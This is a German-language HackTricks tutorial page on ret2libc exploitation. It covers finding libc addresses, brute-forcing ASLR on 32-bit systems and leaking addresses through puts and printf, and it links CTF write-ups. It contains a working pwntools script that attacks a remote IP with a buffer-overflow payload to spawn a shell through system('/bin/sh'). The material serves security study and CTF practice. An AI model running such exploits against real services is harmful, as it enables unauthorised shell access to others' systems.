Ret2lib
Reading time: 7 minutes
tip
Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.
Grundinformationen
Die Essenz von Ret2Libc besteht darin, den Ausführungsfluss eines verwundbaren Programms zu einer Funktion innerhalb einer gemeinsamen Bibliothek (z. B. system, execve, strcpy) umzuleiten, anstatt vom Angreifer bereitgestellten Shellcode auf dem Stack auszuführen. Der Angreifer erstellt ein Payload, das die Rücksprungadresse auf dem Stack so ändert, dass sie auf die gewünschte Bibliotheksfunktion zeigt, während auch sichergestellt wird, dass alle erforderlichen Argumente gemäß der Aufrufkonvention korrekt eingerichtet sind.
Beispielschritte (vereinfacht)
- Holen Sie sich die Adresse der aufzurufenden Funktion (z. B. system) und den Befehl, der aufgerufen werden soll (z. B. /bin/sh)
- Erzeugen Sie eine ROP-Kette, um das erste Argument, das auf die Befehlszeichenfolge zeigt, und den Ausführungsfluss zur Funktion zu übergeben
Adressen finden
- Angenommen, die verwendete
libc
ist die von der aktuellen Maschine, können Sie herausfinden, wo sie im Speicher geladen wird mit:
ldd /path/to/executable | grep libc.so.6 #Address (if ASLR, then this change every time)
Wenn Sie überprüfen möchten, ob ASLR die Adresse von libc ändert, können Sie Folgendes tun:
for i in `seq 0 20`; do ldd ./<bin> | grep libc; done
- Wenn die verwendete libc bekannt ist, ist es auch möglich, den Offset zur
system
-Funktion mit:
readelf -s /lib/i386-linux-gnu/libc.so.6 | grep system
- Wenn die verwendete libc bekannt ist, ist es auch möglich, den Offset zur Funktion des Strings
/bin/sh
mit:
strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep /bin/sh
Verwendung von gdb-peda / GEF
Wenn die verwendete libc bekannt ist, ist es auch möglich, Peda oder GEF zu verwenden, um die Adresse der system-Funktion, der exit-Funktion und des Strings /bin/sh
zu erhalten:
p system
p exit
find "/bin/sh"
Verwendung von /proc/<PID>/maps
Wenn der Prozess Kinder erstellt, jedes Mal wenn Sie mit ihm sprechen (Netzwerkserver), versuchen Sie, diese Datei zu lesen (wahrscheinlich müssen Sie root sein).
Hier können Sie genau herausfinden, wo die libc im Prozess geladen ist und wo sie für jedes Kind des Prozesses geladen wird.
In diesem Fall ist sie bei 0xb75dc000 geladen (Dies wird die Basisadresse von libc sein).
Unbekannte libc
Es könnte sein, dass Sie nicht wissen, welche libc die Binärdatei lädt (weil sie sich möglicherweise auf einem Server befindet, auf den Sie keinen Zugriff haben). In diesem Fall könnten Sie die Schwachstelle ausnutzen, um einige Adressen zu leaken und herauszufinden, welche libc-Bibliothek verwendet wird:
Und Sie können eine pwntools-Vorlage dafür finden in:
libc mit 2 Offsets kennen
Überprüfen Sie die Seite https://libc.blukat.me/ und verwenden Sie ein paar Adressen von Funktionen innerhalb der libc, um die verwendete Version herauszufinden.
ASLR in 32 Bit umgehen
Diese Brute-Force-Angriffe sind nur nützlich für 32-Bit-Systeme.
- Wenn der Exploit lokal ist, können Sie versuchen, die Basisadresse von libc zu brute-forcen (nützlich für 32-Bit-Systeme):
for off in range(0xb7000000, 0xb8000000, 0x1000):
- Wenn Sie einen Remote-Server angreifen, könnten Sie versuchen, die Adresse der
libc
-Funktionusleep
zu brute-forcen, indem Sie als Argument 10 übergeben (zum Beispiel). Wenn der Server irgendwann 10 Sekunden länger für die Antwort benötigt, haben Sie die Adresse dieser Funktion gefunden.
One Gadget
Führen Sie eine Shell aus, indem Sie einfach zu einer bestimmten Adresse in libc springen:
x86 Ret2lib Code Beispiel
In diesem Beispiel ist ASLR-Brute-Force im Code integriert und die verwundbare Binärdatei befindet sich auf einem Remote-Server:
from pwn import *
c = remote('192.168.85.181',20002)
c.recvline()
for off in range(0xb7000000, 0xb8000000, 0x1000):
p = ""
p += p32(off + 0x0003cb20) #system
p += "CCCC" #GARBAGE, could be address of exit()
p += p32(off + 0x001388da) #/bin/sh
payload = 'A'*0x20010 + p
c.send(payload)
c.interactive()
x64 Ret2lib Code Beispiel
Überprüfen Sie das Beispiel von:
ROP - Return Oriented Programing
ARM64 Ret2lib Beispiel
Im Fall von ARM64 springt die ret-Anweisung dorthin, wo das x30-Register zeigt und nicht dorthin, wo das Stack-Register zeigt. Es ist also etwas komplizierter.
Auch in ARM64 führt eine Anweisung das aus, was die Anweisung tut (es ist nicht möglich, mitten in Anweisungen zu springen und sie in neue zu transformieren).
Überprüfen Sie das Beispiel von:
Ret-into-printf (oder puts)
Dies ermöglicht es, Informationen aus dem Prozess zu leaken, indem printf
/puts
mit bestimmten Daten als Argument aufgerufen wird. Zum Beispiel wird das Einfügen der Adresse von puts
in die GOT in einer Ausführung von puts
die Adresse von puts
im Speicher leaken.
Ret2printf
Das bedeutet im Grunde, eine Ret2lib auszunutzen, um sie in eine printf
-Formatstrings-Schwachstelle zu verwandeln, indem ret2lib
verwendet wird, um printf mit den Werten aufzurufen, um sie auszunutzen (klingt nutzlos, ist aber möglich):
Weitere Beispiele & Referenzen
- https://guyinatuxedo.github.io/08-bof_dynamic/csaw19_babyboi/index.html
- Ret2lib, gegeben ein Leak zur Adresse einer Funktion in libc, unter Verwendung eines Gadgets
- https://guyinatuxedo.github.io/08-bof_dynamic/csawquals17_svc/index.html
- 64 Bit, ASLR aktiviert, aber kein PIE, der erste Schritt ist, einen Überlauf zu füllen, bis zum Byte 0x00 des Canary, um dann puts aufzurufen und es zu leaken. Mit dem Canary wird ein ROP-Gadget erstellt, um puts aufzurufen, um die Adresse von puts aus der GOT zu leaken und dann ein ROP-Gadget, um
system('/bin/sh')
aufzurufen. - https://guyinatuxedo.github.io/08-bof_dynamic/fb19_overfloat/index.html
- 64 Bit, ASLR aktiviert, kein Canary, Stack-Overflow in main von einer Kindfunktion. ROP-Gadget, um puts aufzurufen, um die Adresse von puts aus der GOT zu leaken und dann ein Gadget aufzurufen.
- https://guyinatuxedo.github.io/08-bof_dynamic/hs19_storytime/index.html
- 64 Bit, kein PIE, kein Canary, kein RELRO, NX. Verwendet die write-Funktion, um die Adresse von write (libc) zu leaken und ruft ein Gadget auf.
- https://guyinatuxedo.github.io/14-ret_2_system/asis17_marymorton/index.html
- Verwendet einen Format-String, um den Canary vom Stack zu leaken und einen Buffer-Overflow, um in system (es ist in der GOT) mit der Adresse von
/bin/sh
aufzurufen. - https://guyinatuxedo.github.io/14-ret_2_system/tu_guestbook/index.html
- 32 Bit, kein RELRO, kein Canary, NX, PIE. Missbraucht eine schlechte Indizierung, um Adressen von libc und Heap vom Stack zu leaken. Missbraucht den Buffer-Overflow, um ein ret2lib aufzurufen, das
system('/bin/sh')
aufruft (die Heap-Adresse wird benötigt, um eine Überprüfung zu umgehen).
tip
Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.